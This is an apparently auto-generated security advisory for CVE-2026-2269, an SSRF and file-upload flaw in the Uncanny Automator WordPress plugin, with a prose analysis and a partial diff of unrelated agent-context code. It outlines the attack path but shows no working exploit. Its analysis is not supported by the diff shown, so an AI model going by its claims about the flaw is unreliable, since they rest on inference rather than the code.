Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2269: Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin <= 7.0.0.3 – Authenticated (Administrator+) Server-Side Request Forgery to Arbitrary File Upload (uncanny-automator)

CVE ID CVE-2026-2269
Severity High (CVSS 7.2)
CWE 434
Vulnerable Version 7.0.0.3
Patched Version 7.1.0
Disclosed March 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2269:
The vulnerability resides in the download_url() function within the Uncanny Automator WordPress plugin. This function accepts a user-controlled URL parameter and performs a server-side HTTP request without proper validation or restriction. The function stores the retrieved content on the server’s filesystem. An authenticated attacker with Administrator privileges can exploit this to perform Server-Side Request Forgery (SSRF) and arbitrary file upload. The SSRF allows internal network probing and interaction with internal services. The file upload capability, achieved by storing the remote file’s content locally, can lead to remote code execution if the uploaded file is placed in an accessible web directory with executable extensions. The patch introduces a new class structure for agent context handling but does not directly address the vulnerable download_url() function in the provided diff. The vulnerability is exploitable via the plugin’s webhook or integration endpoints that call download_url() with user-supplied URLs. The impact includes internal network enumeration, data exfiltration from internal services, and potential full site compromise via arbitrary file upload leading to code execution.

Differential between vulnerable and patched code

Code Diff
--- a/uncanny-automator/src/api/application/mcp/agent/class-agent-context.php
+++ b/uncanny-automator/src/api/application/mcp/agent/class-agent-context.php
@@ -0,0 +1,357 @@
+<?php
+/**
+ * Agent Context — builds the ModelContext payload.
+ *
+ * Produces the context array matching the three-way contract
+ * (PHP → TypeScript/Zod, Python/Pydantic).
+ *
+ * @since 7.1.0
+ * @see /Curiosity/front.end/context.ts  Zod schema (source of truth).
+ * @see app/api/schemas/context/          Pydantic models (Python consumer).
+ */
+
+declare(strict_types=1);
+
+namespace Uncanny_AutomatorApiApplicationMcpAgent;
+
+use Uncanny_AutomatorApiServicesIntegrationIntegration_Registry_Service;
+use Uncanny_AutomatorApiServicesPlanPlan_Service;
+use WP_Post;
+use WP_Screen;
+use WP_Term;
+
+/**
+ * Builds a ModelContext payload for the MCP agent.
+ *
+ * Usage:
+ *   $context = new Agent_Context();
+ *   $payload = $context->build();
+ *
+ * @since 7.1.0
+ */
+class Agent_Context {
+
+	/**
+	 * Schema version.
+	 */
+	const VERSION = '1.0';
+
+	/**
+	 * Build the full ModelContext array.
+	 *
+	 * @return array<string, mixed>
+	 */
+	public function build(): array {
+
+		$context = array(
+			'version'      => self::VERSION,
+			'account'      => $this->build_account(),
+			'userIdentity' => $this->build_user_identity(),
+			'WordPress'    => $this->build_wordpress(),
+			'Automator'    => $this->build_automator(),
+		);
+
+		$metadata = $this->build_metadata();
+
+		if ( '' !== $metadata ) {
+			$context['metaData'] = $metadata;
+		}
+
+		return $context;
+	}
+
+	// ------------------------------------------------------------------
+	// Account
+	// ------------------------------------------------------------------
+
+	/**
+	 * Build account (site-level plan) block.
+	 *
+	 * @return array{id: string, name: string, scheduledActions: bool, filterConditions: bool, loops: bool}
+	 */
+	private function build_account(): array {
+
+		$plan_service = new Plan_Service();
+		$plan_id      = $plan_service->get_current_plan_id();
+
+		return array(
+			'id'               => $plan_id,
+			'name'             => ucwords( str_replace( '-', ' ', $plan_id ) ),
+			'scheduledActions' => 'lite' !== $plan_id,
+			'filterConditions' => 'lite' !== $plan_id,
+			'loops'            => 'lite' !== $plan_id,
+		);
+	}
+
+	// ------------------------------------------------------------------
+	// User Identity
+	// ------------------------------------------------------------------
+
+	/**
+	 * Build user identity block.
+	 *
+	 * @return array{name: string, email: string, role: string}
+	 */
+	private function build_user_identity(): array {
+
+		$user = wp_get_current_user();
+
+		$roles = $user->roles ?? array();
+
+		return array(
+			'name'  => $user->display_name ?? '',
+			'email' => $user->user_email ?? '',
+			'role'  => ! empty( $roles ) ? reset( $roles ) : '',
+		);
+	}
+
+	// ------------------------------------------------------------------
+	// WordPress
+	// ------------------------------------------------------------------
+
+	/**
+	 * Build WordPress admin context block.
+	 *
+	 * @return array{currentScreen: array, currentPost: array|false, currentTaxonomy: array|false}
+	 */
+	private function build_wordpress(): array {
+
+		return array(
+			'currentScreen'   => $this->build_current_screen(),
+			'currentPost'     => $this->build_current_post(),
+			'currentTaxonomy' => $this->build_current_taxonomy(),
+		);
+	}
+
+	/**
+	 * Build currentScreen from get_current_screen().
+	 *
+	 * @return array{id: string, title: string, url: string}
+	 */
+	private function build_current_screen(): array {
+
+		$screen = $this->get_current_screen();
+
+		$screen_id = '';
+		$title     = '';
+
+		if ( $screen instanceof WP_Screen ) {
+			$screen_id = $screen->id ?? '';
+
+			// get_current_screen() doesn't have a title property.
+			// Use the admin page title from the global.
+			$title = $this->get_admin_page_title();
+		}
+
+		return array(
+			'id'    => sanitize_text_field( $screen_id ),
+			'title' => sanitize_text_field( $title ),
+			'url'   => $this->get_current_admin_url(),
+		);
+	}
+
+	/**
+	 * Build currentPost context.
+	 *
+	 * @return array{id: int, type: string, title: string}|false
+	 */
+	private function build_current_post() {
+
+		$post = $this->get_current_post();
+
+		if ( ! $post instanceof WP_Post ) {
+			return false;
+		}
+
+		return array(
+			'id'    => $post->ID,
+			'type'  => $post->post_type,
+			'title' => sanitize_text_field( $post->post_title ),
+		);
+	}
+
+	/**
+	 * Build currentTaxonomy context.
+	 *
+	 * @return array{taxonomy: string, term: array{id: int, name: string}|false}|false
+	 */
+	private function build_current_taxonomy() {
+
+		$screen = $this->get_current_screen();
+
+		if ( ! $screen instanceof WP_Screen || empty( $screen->taxonomy ) ) {
+			return false;
+		}
+
+		$taxonomy = sanitize_text_field( $screen->taxonomy );
+
+		// Check if editing a specific term.
+		// phpcs:ignore WordPress.Security.NonceVerification -- Reading only; no state change.
+		$tag_id = isset( $_GET['tag_ID'] ) ? absint( $_GET['tag_ID'] ) : 0;
+
+		$term = false;
+
+		if ( $tag_id > 0 ) {
+			$wp_term = get_term( $tag_id, $taxonomy );
+
+			if ( $wp_term instanceof WP_Term ) {
+				$term = array(
+					'id'   => $wp_term->term_id,
+					'name' => sanitize_text_field( $wp_term->name ),
+				);
+			}
+		}
+
+		return array(
+			'taxonomy' => $taxonomy,
+			'term'     => $term,
+		);
+	}
+
+	// ------------------------------------------------------------------
+	// Automator
+	// ------------------------------------------------------------------
+
+	/**
+	 * Build Automator context block.
+	 *
+	 * @return array{version: string, activeIntegrations: array, currentRecipe: array|false}
+	 */
+	private function build_automator(): array {
+
+		return array(
+			'version'            => defined( 'AUTOMATOR_PLUGIN_VERSION' ) ? AUTOMATOR_PLUGIN_VERSION : '',
+			'activeIntegrations' => $this->build_active_integrations(),
+			'currentRecipe'      => $this->build_current_recipe(),
+		);
+	}
+
+	/**
+	 * Build active integrations list.
+	 *
+	 * @return array<int, array{code: string, name: string}>
+	 */
+	private function build_active_integrations(): array {
+
+		$registry = Integration_Registry_Service::get_instance();
+
+		return $registry->get_active_integrations();
+	}
+
+	/**
+	 * Build currentRecipe context.
+	 *
+	 * Only populated on recipe editor screens.
+	 *
+	 * @return array{id: int, title: string, type: string}|false
+	 */
+	private function build_current_recipe() {
+
+		$post = $this->get_current_post();
+
+		if ( ! $post instanceof WP_Post || 'uo-recipe' !== $post->post_type ) {
+			return false;
+		}
+
+		$recipe = Automator()->get_recipe_object( $post->ID, ARRAY_A );
+
+		if ( empty( $recipe ) || ! is_array( $recipe ) ) {
+			return false;
+		}
+
+		return array(
+			'id'    => $post->ID,
+			'title' => sanitize_text_field( $post->post_title ),
+			'type'  => sanitize_text_field( $recipe['recipe_type'] ?? '' ),
+		);
+	}
+
+	// ------------------------------------------------------------------
+	// Metadata
+	// ------------------------------------------------------------------
+
+	/**
+	 * Build optional metadata string (base64-encoded JSON).
+	 *
+	 * @return string Base64 JSON or empty string.
+	 */
+	private function build_metadata(): string {
+
+		$data = array(
+			'plugin_version'  => defined( 'AUTOMATOR_PLUGIN_VERSION' ) ? AUTOMATOR_PLUGIN_VERSION : '',
+			'php_version'     => PHP_VERSION,
+			'wp_version'      => get_bloginfo( 'version' ),
+			'server_software' => sanitize_text_field( wp_unslash( $_SERVER['SERVER_SOFTWARE'] ?? '' ) ),
+		);
+
+		$json = wp_json_encode( $data );
+
+		if ( false === $json ) {
+			return '';
+		}
+
+		return base64_encode( $json ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode -- Not obfuscation; structured metadata encoding.
+	}
+
+	// ------------------------------------------------------------------
+	// WordPress helpers (seams for testing)
+	// ------------------------------------------------------------------
+
+	/**
+	 * Get the current WP_Screen.
+	 *
+	 * @return WP_Screen|null
+	 */
+	protected function get_current_screen(): ?WP_Screen {
+		$screen = get_current_screen();
+
+		return $screen instanceof WP_Screen ? $screen : null;
+	}
+
+	/**
+	 * Get the current post being edited.
+	 *
+	 * @return WP_Post|null
+	 */
+	protected function get_current_post(): ?WP_Post {
+
+		// phpcs:ignore WordPress.Security.NonceVerification -- Reading only; no state change.
+		$post_id = isset( $_GET['post'] ) ? absint( $_GET['post'] ) : 0;
+
+		if ( 0 === $post_id ) {
+			global $post;
+			return $post instanceof WP_Post ? $post : null;
+		}
+
+		$wp_post = get_post( $post_id );
+
+		return $wp_post instanceof WP_Post ? $wp_post : null;
+	}
+
+	/**
+	 * Get admin page title from global $title.
+	 *
+	 * @return string
+	 */
+	protected function get_admin_page_title(): string {
+		global $title;
+
+		return is_string( $title ) ? $title : '';
+	}
+
+	/**
+	 * Get the current admin URL.
+	 *
+	 * @return string
+	 */
+	protected function get_current_admin_url(): string {
+
+		$request_uri = sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ?? '' ) );
+
+		if ( '' === $request_uri ) {
+			return admin_url();
+		}
+
+		return home_url( $request_uri );
+	}
+}
--- a/uncanny-automator/src/api/application/mcp/agent/class-url-agent-context.php
+++ b/uncanny-automator/src/api/application/mcp/agent/class-url-agent-context.php
@@ -0,0 +1,153 @@
+<?php
+/**
+ * URL Agent Context — derives ModelContext from a URL instead of WP globals.
+ *
+ * Used by the detached chat window: when the user navigates in the main
+ * WordPress window, the chat calls the refresh endpoint with the new page_url.
+ * This class resolves context from that URL so the agent has up-to-date
+ * situational awareness without relying on get_current_screen() / $_GET.
+ *
+ * @since 7.1.0
+ */
+
+declare(strict_types=1);
+
+namespace Uncanny_AutomatorApiApplicationMcpAgent;
+
+use WP_Post;
+use WP_Screen;
+
+/**
+ * Builds ModelContext from a URL rather than WordPress globals.
+ *
+ * Overrides the four protected seams in Agent_Context so the inherited
+ * build_*() methods work identically in REST context.
+ *
+ * @since 7.1.0
+ */
+class Url_Agent_Context extends Agent_Context {
+
+	/**
+	 * The source URL to derive context from.
+	 *
+	 * @var string
+	 */
+	private string $url;
+
+	/**
+	 * Resolved screen data from Url_Screen_Resolver.
+	 *
+	 * @var array{screen_id: string, post_id: int, post_type: string, taxonomy: string, tag_id: int, page_slug: string}
+	 */
+	private array $resolved;
+
+	/**
+	 * Constructor.
+	 *
+	 * @param string $url Admin URL to derive context from.
+	 */
+	public function __construct( string $url ) {
+		$this->url      = $url;
+		$this->resolved = ( new Url_Screen_Resolver() )->resolve( $url );
+	}
+
+	/**
+	 * Get WP_Screen from the resolved screen ID.
+	 *
+	 * @return WP_Screen|null
+	 */
+	protected function get_current_screen(): ?WP_Screen {
+
+		$screen_id = $this->resolved['screen_id'];
+
+		if ( '' === $screen_id ) {
+			return null;
+		}
+
+		// WP_Screen and get_current_screen() are admin-only; ensure both are available in REST context.
+		if ( ! function_exists( 'get_current_screen' ) ) {
+			require_once ABSPATH . 'wp-admin/includes/screen.php';
+		}
+
+		if ( ! class_exists( 'WP_Screen' ) ) {
+			require_once ABSPATH . 'wp-admin/includes/class-wp-screen.php';
+		}
+
+		$screen = WP_Screen::get( $screen_id );
+
+		if ( '' !== $this->resolved['taxonomy'] ) {
+			$screen->taxonomy = $this->resolved['taxonomy'];
+		}
+
+		return $screen;
+	}
+
+	/**
+	 * Get the post from the resolved post ID.
+	 *
+	 * @return WP_Post|null
+	 */
+	protected function get_current_post(): ?WP_Post {
+
+		$post_id = $this->resolved['post_id'];
+
+		if ( 0 === $post_id ) {
+			return null;
+		}
+
+		$post = get_post( $post_id );
+
+		return $post instanceof WP_Post ? $post : null;
+	}
+
+	/**
+	 * Derive admin page title from the resolved URL data.
+	 *
+	 * @return string Best-effort title, or empty string.
+	 */
+	protected function get_admin_page_title(): string {
+
+		$post_type = $this->resolved['post_type'];
+		$taxonomy  = $this->resolved['taxonomy'];
+
+		// Editing a specific post — use the post title.
+		if ( $this->resolved['post_id'] > 0 ) {
+			$post = $this->get_current_post();
+			if ( null !== $post ) {
+				return $post->post_title;
+			}
+		}
+
+		// Post type list or new post screen.
+		if ( '' !== $post_type ) {
+			$pto = get_post_type_object( $post_type );
+			if ( null !== $pto ) {
+				return $pto->labels->name;
+			}
+		}
+
+		// Taxonomy screen.
+		if ( '' !== $taxonomy ) {
+			$tax = get_taxonomy( $taxonomy );
+			if ( false !== $tax ) {
+				return $tax->labels->name;
+			}
+		}
+
+		// Dashboard.
+		if ( 'dashboard' === $this->resolved['screen_id'] ) {
+			return 'Dashboard';
+		}
+
+		return '';
+	}
+
+	/**
+	 * Return the original URL passed to the constructor.
+	 *
+	 * @return string
+	 */
+	protected function get_current_admin_url(): string {
+		return $this->url;
+	}
+}
--- a/uncanny-automator/src/api/application/mcp/agent/class-url-screen-resolver.php
+++ b/uncanny-automator/src/api/application/mcp/agent/class-url-screen-resolver.php
@@ -0,0 +1,235 @@
+<?php
+/**
+ * URL Screen Resolver — maps an admin URL to structured screen data.
+ *
+ * Pure utility: no side-effects, no global state.
+ *
+ * @since 7.1.0
+ */
+
+declare(strict_types=1);
+
+namespace Uncanny_AutomatorApiApplicationMcpAgent;
+
+/**
+ * Resolves a WordPress admin URL into screen identifiers.
+ *
+ * @since 7.1.0
+ */
+class Url_Screen_Resolver {
+
+	/**
+	 * Default resolved data.
+	 *
+	 * @var array{screen_id: string, post_id: int, post_type: string, taxonomy: string, tag_id: int, page_slug: string}
+	 */
+	private const DEFAULTS = array(
+		'screen_id' => '',
+		'post_id'   => 0,
+		'post_type' => '',
+		'taxonomy'  => '',
+		'tag_id'    => 0,
+		'page_slug' => '',
+	);
+
+	/**
+	 * Resolve a URL into structured screen data.
+	 *
+	 * @param string $url Absolute or relative admin URL.
+	 *
+	 * @return array{screen_id: string, post_id: int, post_type: string, taxonomy: string, tag_id: int, page_slug: string}
+	 */
+	public function resolve( string $url ): array {
+
+		$path = $this->extract_admin_path( $url );
+
+		if ( '' === $path ) {
+			return self::DEFAULTS;
+		}
+
+		$basename = basename( strtok( $path, '?' ) );
+
+		$query        = array();
+		$query_string = wp_parse_url( $url, PHP_URL_QUERY );
+
+		if ( is_string( $query_string ) ) {
+			wp_parse_str( $query_string, $query );
+		}
+
+		return $this->map_screen( $basename, $query );
+	}
+
+	// ------------------------------------------------------------------
+	// Internal helpers
+	// ------------------------------------------------------------------
+
+	/**
+	 * Extract the path portion after /wp-admin/.
+	 *
+	 * @param string $url Full or relative URL.
+	 *
+	 * @return string Path segment after /wp-admin/, or empty string.
+	 */
+	private function extract_admin_path( string $url ): string {
+
+		$path = wp_parse_url( $url, PHP_URL_PATH );
+
+		if ( ! is_string( $path ) ) {
+			return '';
+		}
+
+		$admin_pos = strpos( $path, '/wp-admin/' );
+
+		if ( false === $admin_pos ) {
+			return '';
+		}
+
+		return substr( $path, $admin_pos + strlen( '/wp-admin/' ) );
+	}
+
+	/**
+	 * Map a basename + query string to screen data.
+	 *
+	 * @param string $basename File basename (e.g. "post.php").
+	 * @param array  $query    Parsed query parameters.
+	 *
+	 * @return array{screen_id: string, post_id: int, post_type: string, taxonomy: string, tag_id: int, page_slug: string}
+	 */
+	private function map_screen( string $basename, array $query ): array {
+
+		switch ( $basename ) {
+			case 'post.php':
+				return $this->resolve_post_edit( $query );
+
+			case 'post-new.php':
+				return $this->resolve_post_new( $query );
+
+			case 'edit.php':
+				return $this->resolve_edit_list( $query );
+
+			case 'edit-tags.php':
+				return $this->resolve_edit_tags( $query );
+
+			case 'admin.php':
+				return $this->resolve_admin_page( $query );
+
+			case 'index.php':
+				$result              = self::DEFAULTS;
+				$result['screen_id'] = 'dashboard';
+				return $result;
+
+			default:
+				return self::DEFAULTS;
+		}
+	}
+
+	/**
+	 * Resolve post.php?post=N&action=edit.
+	 *
+	 * @param array $query Parsed query parameters.
+	 *
+	 * @return array{screen_id: string, post_id: int, post_type: string, taxonomy: string, tag_id: int, page_slug: string}
+	 */
+	private function resolve_post_edit( array $query ): array {
+
+		$post_id = isset( $query['post'] ) ? absint( $query['post'] ) : 0;
+
+		if ( 0 === $post_id ) {
+			return self::DEFAULTS;
+		}
+
+		$post_type = get_post_type( $post_id );
+
+		if ( false === $post_type ) {
+			return self::DEFAULTS;
+		}
+
+		$result              = self::DEFAULTS;
+		$result['screen_id'] = sanitize_key( $post_type );
+		$result['post_id']   = $post_id;
+		$result['post_type'] = sanitize_key( $post_type );
+
+		return $result;
+	}
+
+	/**
+	 * Resolve post-new.php?post_type=X.
+	 *
+	 * @param array $query Parsed query parameters.
+	 *
+	 * @return array{screen_id: string, post_id: int, post_type: string, taxonomy: string, tag_id: int, page_slug: string}
+	 */
+	private function resolve_post_new( array $query ): array {
+
+		$post_type = isset( $query['post_type'] ) ? sanitize_key( $query['post_type'] ) : 'post';
+
+		$result              = self::DEFAULTS;
+		$result['screen_id'] = $post_type;
+		$result['post_type'] = $post_type;
+
+		return $result;
+	}
+
+	/**
+	 * Resolve edit.php?post_type=X.
+	 *
+	 * @param array $query Parsed query parameters.
+	 *
+	 * @return array{screen_id: string, post_id: int, post_type: string, taxonomy: string, tag_id: int, page_slug: string}
+	 */
+	private function resolve_edit_list( array $query ): array {
+
+		$post_type = isset( $query['post_type'] ) ? sanitize_key( $query['post_type'] ) : 'post';
+
+		$result              = self::DEFAULTS;
+		$result['screen_id'] = 'edit-' . $post_type;
+		$result['post_type'] = $post_type;
+
+		return $result;
+	}
+
+	/**
+	 * Resolve edit-tags.php?taxonomy=T&tag_ID=N.
+	 *
+	 * @param array $query Parsed query parameters.
+	 *
+	 * @return array{screen_id: string, post_id: int, post_type: string, taxonomy: string, tag_id: int, page_slug: string}
+	 */
+	private function resolve_edit_tags( array $query ): array {
+
+		$taxonomy = isset( $query['taxonomy'] ) ? sanitize_key( $query['taxonomy'] ) : '';
+
+		if ( '' === $taxonomy ) {
+			return self::DEFAULTS;
+		}
+
+		$result              = self::DEFAULTS;
+		$result['screen_id'] = 'edit-' . $taxonomy;
+		$result['taxonomy']  = $taxonomy;
+		$result['tag_id']    = isset( $query['tag_ID'] ) ? absint( $query['tag_ID'] ) : 0;
+
+		return $result;
+	}
+
+	/**
+	 * Resolve admin.php?page=uncanny-automator-*.
+	 *
+	 * @param array $query Parsed query parameters.
+	 *
+	 * @return array{screen_id: string, post_id: int, post_type: string, taxonomy: string, tag_id: int, page_slug: string}
+	 */
+	private function resolve_admin_page( array $query ): array {
+
+		$page = isset( $query['page'] ) ? sanitize_key( $query['page'] ) : '';
+
+		if ( '' === $page ) {
+			return self::DEFAULTS;
+		}
+
+		$result              = self::DEFAULTS;
+		$result['screen_id'] = 'uo-recipe_page_' . $page;
+		$result['page_slug'] = $page;
+
+		return $result;
+	}
+}
--- a/uncanny-automator/src/api/application/mcp/class-mcp-client.php
+++ b/uncanny-automator/src/api/application/mcp/class-mcp-client.php
@@ -11,14 +11,16 @@

 namespace Uncanny_AutomatorApiApplicationMcp;

+use Uncanny_AutomatorApiApplicationMcpAgentAgent_Context;
+use Uncanny_AutomatorApiApplicationMcpAgentUrl_Agent_Context;
 use Uncanny_AutomatorApiTransportsModel_Context_ProtocolClientClient_Context_Service;
 use Uncanny_AutomatorApiTransportsModel_Context_ProtocolClientClient_Payload_Service;
 use Uncanny_AutomatorApiTransportsModel_Context_ProtocolClientClient_Public_Key_Manager;
 use Uncanny_AutomatorApiTransportsModel_Context_ProtocolClientClient_Token_Service;
+use Uncanny_AutomatorAdmin_Settings_Uncanny_Agent_General;
 use Uncanny_AutomatorApi_Server;
 use Uncanny_AutomatorTraitsSingleton;
 use WP_Error;
-use WP_Post;
 use WP_REST_Request;
 use WP_REST_Response;

@@ -48,6 +50,13 @@
 	const SDK_CSS_URL = 'https://llm.automatorplugin.com/sdk.css';

 	/**
+	 * Agent context builder.
+	 *
+	 * @var Agent_Context
+	 */
+	private Agent_Context $agent_context;
+
+	/**
 	 * Context helper.
 	 *
 	 * @var Client_Context_Service
@@ -78,17 +87,20 @@
 	/**
 	 * Constructor.
 	 *
+	 * @param Agent_Context|null             $agent_context Optional agent context builder.
 	 * @param Client_Context_Service|null    $context_service Optional context helper.
 	 * @param Client_Public_Key_Manager|null $public_key_manager Optional public key helper.
 	 * @param Client_Token_Service|null      $token_service Optional token helper.
 	 * @param Client_Payload_Service|null    $payload_service Optional payload helper.
 	 */
 	public function __construct(
+		?Agent_Context $agent_context = null,
 		?Client_Context_Service $context_service = null,
 		?Client_Public_Key_Manager $public_key_manager = null,
 		?Client_Token_Service $token_service = null,
 		?Client_Payload_Service $payload_service = null
 	) {
+		$this->agent_context      = $agent_context ? $agent_context : new Agent_Context();
 		$this->context_service    = $context_service ? $context_service : new Client_Context_Service();
 		$this->public_key_manager = $public_key_manager ? $public_key_manager : new Client_Public_Key_Manager();
 		$this->token_service      = $token_service ? $token_service : new Client_Token_Service();
@@ -101,13 +113,22 @@
 	}

 	/**
+	 * Check whether the Uncanny Agent feature is enabled.
+	 *
+	 * @return bool
+	 */
+	private static function get_uncanny_agent_settings(): bool {
+		return (bool) Admin_Settings_Uncanny_Agent_General::get_setting( Admin_Settings_Uncanny_Agent_General::ENABLED_KEY );
+	}
+
+	/**
 	 * Register WordPress hooks.
 	 *
 	 * @return void
 	 */
 	private function register_hooks(): void {
-		add_action( 'admin_footer', array( $this, 'load_chat_sdk' ) );
-		add_action( 'edit_form_after_title', array( $this, 'render_launcher' ) );
+		add_action( 'admin_footer', array( $this, 'load_chat_sdk' ), 10, 1 );
+		add_action( 'admin_footer', array( $this, 'render_launcher' ), 20, 1 );
 		add_action( 'rest_api_init', array( $this, 'register_rest_routes' ) );
 	}

@@ -216,11 +237,7 @@
 	 * @return void
 	 */
 	public function load_chat_sdk(): void {
-		if ( ! $this->context_service->can_access_client() ) {
-			return;
-		}
-
-		if ( ! $this->context_service->is_recipe_screen() ) {
+		if ( ! self::get_uncanny_agent_settings() || ! $this->context_service->can_access_client() ) {
 			return;
 		}

@@ -240,345 +257,114 @@
 	/**
 	 * Render the chat launcher button.
 	 *
-	 * @param WP_Post|null $post Current post.
+	 * @param mixed $post - WordPress' passed parameter.
 	 * @return void
 	 */
-	public function render_launcher( ?WP_Post $post ): void {
-		if ( ! $this->context_service->should_render_button( $post ) ) {
-			return;
-		}
-
-		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output is escaped in generate_launcher_html.
-		echo $this->generate_launcher_html( $post->ID );
-	}
-
-	/**
-	 * Generate the launcher HTML element including CSS.
-	 *
-	 * Handles all the logic: payload generation, recipe fetching, context building, CSS styles, and HTML element. Returns empty string on any failure.
-	 *
-	 * @param int $recipe_id Recipe post ID.
-	 * @return string The CSS and launcher HTML, or empty string on failure.
-	 */
-	private function generate_launcher_html( int $recipe_id ): string {
-
-		// Ensure the post is a valid recipe.
-		if ( 'uo-recipe' !== get_post_type( $recipe_id ) ) {
-			return '';
-		}
-
-		// Overwrite with the recipe edit page if the recipe ID is available.
-		if ( ! empty( $recipe_id ) ) {
-			$overrides = array(
-				'page_url' => wp_make_link_relative( get_edit_post_link( $recipe_id ) ),
-			);
-		}
+	public function render_launcher( $post ): void {

-		$payload = $this->payload_service->generate_encrypted_payload( $overrides );
-
-		if ( '' === $payload ) {
-			return '';
+		if ( ! self::get_uncanny_agent_settings() ) {
+			return;
 		}

-		$recipe = Automator()->get_recipe_object( $recipe_id, ARRAY_A );
+		// if ( ! $this->in_allowed_pages() ) {
+		// 	return;
+		// }

-		if ( empty( $recipe ) || ! is_array( $recipe ) ) {
-			return '';
-		}
-
-		// Skip if recipe type is not set yet - button will be loaded via AJAX after user selects type.
-		if ( empty( $recipe['recipe_type'] ) ) {
-			return '';
+		if ( ! $this->context_service->should_render_button( $post ) ) {
+			return;
 		}

-		$context = array(
-			'current_mode'      => array( 'recipe building', 'running action' ),
-			'current_user'      => array(
-				'firstname' => $this->context_service->get_current_user_display_name() ?? '',
-			),
-			'current_recipe'    => $this->transform_recipe_to_context( $recipe ),
-			'current_user_plan' => array(
-				'id'                        => $this->context_service->get_current_user_plan(),
-				'name'                      => $this->context_service->get_current_user_plan_name(),
-				'can_add_scheduled_actions' => 'lite' !== $this->context_service->get_current_user_plan(),
-				'can_run_loops'             => 'lite' !== $this->context_service->get_current_user_plan(),
-				'can_add_action_conditions' => 'lite' !== $this->context_service->get_current_user_plan(),
-			),
-			'metadata'          => $this->get_metadata(),
-		);
-
-		$css = '<style>
-			#poststuff {
-				container-type: inline-size;
-				container-name: recipe-container;
-				min-width: auto !important;
-			}
-
-			@container recipe-container (max-width: 800px) {
-				#post-body {
-					display: flex;
-					flex-direction: column;
-					align-items: flex-start;
-					margin-right: 0 !important;
-				}
-
-				#post-body,
-				#postbox-container-1,
-				#postbox-container-2,
-				#side-sortables {
-					margin-right: 0 !important;
-					width: 100% !important;
-				}
-			}
-
-			ua-chat-launcher {
-				--ua-mpc-chat-launcher-z-index: 159900;
-			}
-		</style>';
-
-		$launcher = sprintf(
-			'<ua-chat-launcher server-url="%s" payload="%s" initial-context='%s' parent-selector="#wpbody" consumer-server-url="%s" consumer-nonce="%s"></ua-chat-launcher>',
-			esc_attr( self::get_inference_url() ),
-			esc_attr( $payload ),
-			esc_attr( base64_encode( wp_json_encode( $context ) ) ),
-			esc_url_raw( rest_url() . AUTOMATOR_REST_API_END_POINT ),
-			esc_attr( wp_create_nonce( 'wp_rest' ) )
-		);
-
-		return $css . $launcher;
+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output is escaped in generate_launcher_html.
+		echo $this->generate_launcher_html();
 	}

 	/**
-	 * Transform recipe data structure to match the expected context schema.
+	 * Check if the current admin page is one where the chat launcher should be rendered.
 	 *
-	 * This method maps the recipe data from Automator()->get_recipe_object()
-	 * to the structure expected by the MCP chat client (validated by Zod/Pydantic).
+	 * Returns true for any page under the Automator menu: the uo-recipe post type
+	 * screens (list, edit, add new, taxonomies) and all registered submenu pages.
 	 *
-	 * @param array $recipe Recipe data from Automator()->get_recipe_object().
-	 * @return array Transformed recipe context with keys: id, title, triggers, actions, conditions_group.
+	 * @return bool
 	 */
-	private function transform_recipe_to_context( array $recipe ): array {
+	private function in_allowed_pages(): bool {
+		$current_screen = get_current_screen();

-		// Initialize context with safe defaults.
-		$context = array(
-			'id'               => 0,
-			'title'            => '',
-			'recipe_type'      => '',
-			'triggers'         => array(),
-			'actions'          => array(),
-			'conditions_group' => array(),
-		);
-
-		// Extract and validate recipe ID.
-		if ( isset( $recipe['recipe_id'] ) ) {
-			$context['id'] = absint( $recipe['recipe_id'] );
-		}
-
-		// Extract and sanitize recipe title.
-		if ( isset( $recipe['title'] ) && is_string( $recipe['title'] ) ) {
-			$context['title'] = sanitize_text_field( $recipe['title'] );
+		if ( ! $current_screen ) {
+			return false;
 		}

-		// Extract recipe user type ('user' or 'anonymous').
-		if ( isset( $recipe['recipe_type'] ) && is_string( $recipe['recipe_type'] ) ) {
-			$context['recipe_type'] = sanitize_text_field( $recipe['recipe_type'] );
+		// Post type screens: All recipes, Add new, single recipe editor.
+		if ( 'uo-recipe' === $current_screen->post_type ) {
+			return true;
 		}

-		// Transform triggers.
-		$context['triggers'] = $this->extract_triggers( $recipe );
-
-		// Transform actions and condition groups.
-		$actions_data = $this->extract_actions_and_conditions( $recipe );
-
-		$context['actions']          = $actions_data['actions'] ?? array();
-		$context['conditions_group'] = $actions_data['conditions_group'] ?? array();
-
-		/**
-		 * Filter the transformed recipe context before it is sent to the MCP client.
-		 *
-		 * @param array $context Transformed recipe context.
-		 * @param array $recipe  Original recipe data.
-		 */
-		return apply_filters( 'automator_mcp_transform_recipe_context', $context, $recipe );
-	}
-
-	/**
-	 * Extract triggers from recipe data.
-	 *
-	 * @param array $recipe Recipe data.
-	 * @return array Array of trigger objects with id and sentence.
-	 */
-	private function extract_triggers( array $recipe ): array {
-
-		$triggers = array();
-
-		if ( ! isset( $recipe['triggers']['items'] ) || ! is_array( $recipe['triggers']['items'] ) ) {
-			return $triggers;
+		// Taxonomy screens: Categories (recipe_category), Tags (recipe_tag).
+		if ( in_array( $current_screen->taxonomy, array( 'recipe_category', 'recipe_tag' ), true ) ) {
+			return true;
 		}

-		foreach ( $recipe['triggers']['items'] as $trigger ) {
-
-			if ( ! is_array( $trigger ) ) {
-				continue;
-			}
-
-			// Validate required fields.
-			if ( ! isset( $trigger['id'] ) || ! isset( $trigger['backup']['sentence'] ) ) {
-				continue;
-			}
-
-			// Skip if sentence is empty.
-			if ( empty( $trigger['backup']['sentence'] ) || ! is_string( $trigger['backup']['sentence'] ) ) {
-				continue;
-			}
-
-			$triggers[] = array(
-				'id'       => absint( $trigger['id'] ),
-				'sentence' => sanitize_text_field( $trigger['backup']['sentence'] ),
-			);
-
+		// Custom submenu pages all follow the pattern "uo-recipe_page_*".
+		if ( 0 === strpos( $current_screen->id, 'uo-recipe_page_' ) ) {
+			return true;
 		}

-		return $triggers;
-	}
-
-	/**
-	 * Extract actions and condition groups from recipe data.
-	 *
-	 * @param array $recipe Recipe data.
-	 * @return array Array with 'actions' and 'conditions_group' keys.
-	 */
-	private function extract_actions_and_conditions( array $recipe ): array {
-
-		$actions          = array();
-		$conditions_group = array();
-
